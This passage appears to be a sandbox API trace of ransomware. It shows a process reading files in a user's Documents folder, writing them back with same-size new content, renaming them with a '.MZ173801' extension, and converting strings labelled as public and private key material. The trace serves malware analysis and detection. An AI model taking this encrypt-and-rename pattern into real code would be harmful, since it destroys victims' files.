lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.654] GetCurrentThreadId () returned 0xab4 [0169.654] GetCurrentThreadId () returned 0xab4 [0169.654] GetCurrentThreadId () returned 0xab4 [0169.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\pqwqrvwdupxq3gg.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0169.655] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0169.655] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.655] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x12b41 [0169.655] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0169.655] ReadFile (in: hFile=0x27c, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x12b41, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f480*=0x12b41, lpOverlapped=0x0) returned 1 [0170.592] CloseHandle (hObject=0x27c) returned 1 [0170.595] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\pqwqrvwdupxq3gg.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0170.598] WriteFile (in: hFile=0x27c, lpBuffer=0x24cced0*, nNumberOfBytesToWrite=0x12b41, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cced0*, lpNumberOfBytesWritten=0x19f48c*=0x12b41, lpOverlapped=0x0) returned 1 [0170.600] CloseHandle (hObject=0x27c) returned 1 [0170.600] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\pqwqrvwdupxq3gg.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\pqWQRVWDuPxq3Gg.pdf.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\pqwqrvwdupxq3gg.pdf.mz173801")) returned 1 [0170.602] GetCurrentThreadId () returned 0xab4 [0170.602] GetCurrentThreadId () returned 0xab4 [0170.602] GetCurrentThreadId () returned 0xab4 [0170.602] GetCurrentThreadId () returned 0xab4 [0170.602] GetCurrentThreadId () returned 0xab4 [0170.602] GetCurrentThreadId () returned 0xab4 [0170.602] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf27bb6c0, ftCreationTime.dwHighDateTime=0x1d5e9a4, ftLastAccessTime.dwLowDateTime=0x3deb33a0, ftLastAccessTime.dwHighDateTime=0x1d5f072, ftLastWriteTime.dwLowDateTime=0x3deb33a0, ftLastWriteTime.dwHighDateTime=0x1d5f072, nFileSizeHigh=0x0, nFileSizeLow=0xad8d, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="r_IvGp1G6.rtf", cAlternateFileName="R_IVGP~1.RTF")) returned 1 [0170.602] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0170.602] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0170.602] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\r_ivgp1g6.rtf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf27bb6c0, ftCreationTime.dwHighDateTime=0x1d5e9a4, ftLastAccessTime.dwLowDateTime=0x3deb33a0, ftLastAccessTime.dwHighDateTime=0x1d5f072, ftLastWriteTime.dwLowDateTime=0x3deb33a0, ftLastWriteTime.dwHighDateTime=0x1d5f072, nFileSizeHigh=0x0, nFileSizeLow=0xad8d)) returned 1 [0170.602] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\r_ivgp1g6.rtf")) returned 0x20 [0170.602] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf", dwFileAttributes=0x80) returned 1 [0170.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0170.604] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0170.605] GetCurrentThreadId () returned 0xab4 [0170.605] GetCurrentThreadId () returned 0xab4 [0170.605] GetCurrentThreadId () returned 0xab4 [0170.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0170.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0170.606] GetCurrentThreadId () returned 0xab4 [0170.606] GetCurrentThreadId () returned 0xab4 [0170.606] GetCurrentThreadId () returned 0xab4 [0170.606] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\r_ivgp1g6.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0170.607] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0170.607] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0170.607] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xad8d [0170.607] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0170.607] ReadFile (in: hFile=0x27c, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0xad8d, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f480*=0xad8d, lpOverlapped=0x0) returned 1 [0170.608] CloseHandle (hObject=0x27c) returned 1 [0170.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\r_ivgp1g6.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0170.611] WriteFile (in: hFile=0x27c, lpBuffer=0x24c4ed0*, nNumberOfBytesToWrite=0xad8d, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24c4ed0*, lpNumberOfBytesWritten=0x19f48c*=0xad8d, lpOverlapped=0x0) returned 1 [0170.613] CloseHandle (hObject=0x27c) returned 1 [0170.613] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\xipvtvqfodb6mwbl\\r_ivgp1g6.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\XIPVtvqfodb6mWbl\\r_IvGp1G6.rtf.MZ173801" (normalized: 